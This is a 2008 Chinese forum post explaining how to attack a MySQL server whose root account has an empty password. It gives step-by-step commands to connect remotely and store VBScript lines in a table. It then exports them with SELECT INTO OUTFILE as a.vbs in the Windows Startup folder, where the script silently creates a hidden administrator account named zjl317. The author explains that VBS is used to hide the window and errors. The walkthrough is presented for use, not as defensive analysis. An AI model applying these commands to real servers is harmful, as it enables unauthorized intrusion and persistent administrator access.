在MySQL中root密码为空的另类攻击方法

jsper · 发表于 2008-9-14 15:49:39

本文介绍了有关MySQL数据库用户root密码为空的另类攻击方法。就是利用MySQL输出一个可执行的文件而已。
　　1、连接到对方mysql 服务器
mysql -u root -h 192.168.0.1

　　mysql.exe 这个程序在你安装了mysql的的bin目录中

　　2、让我们来看看服务器中有些什么数据库

mysql>show databases;

　　mysql默认安装时会有mysql、test这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。

　　3、让我们进入数据库

mysql>use test;

　　我们将会进入test数据库中

　　4、查看我们进入数据库中有些什么数据表

mysql>show tables;

　　默认的情况下，test中没有任何表的存在。

　　以下为关键的部分

　　5、在test数据库下创建一个新的表;

mysql>create table a (cmd text);

　　好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。

　　6、在表中插入内容　

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );

　　注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!

　　7、好了，现在我们来看看表a中有些什么　

mysql>select * from a;

　　我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步

　　8、输出表为一个vbs的脚本文件　

mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

　　我们把我们表中的内容输入到启动组中，是一个vbs的脚本文件!注意“\"符号。

　　9、看到这大家肯定知道了，就是利用mysql输出一个可执行的文件而已。为什么不用bat呢，因为启动运行时会有明显的dos窗口出来，而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢!

		自动登录	找回密码
密码			注册

全国各地医院查询	重量转换换算	RGB颜色查询	交通标志大全	各类快递查询
简体繁体转换	黄金价格实时走势	万年历查询	实时汇率转换	列车时刻查询
在线翻译工具	CSS中文手册	HTML学习教程	MySQL中文手册	JavaScript中文手册
PHP安全基础手册	PHP5面向对象编程教程	正则表达式系统教程	SQL Server精华	Apache 2.2 中文手册
DOS命令全集指南	windows脚本技术中文版	股票行情查询	历史上的今天	邮编区号查询
长度转换换算	货币汇率转换	常用电话号码	体育彩票查询	手机位置查询
域名Whois信息查询	谷歌PR值查询	台州网站建设	台州网站开发	台州域名注册
天气预报查询	长度转换换算器	在线电子地图	车牌号码查询	中国百家姓查询

在MySQL中root密码为空的另类攻击方法

相关帖子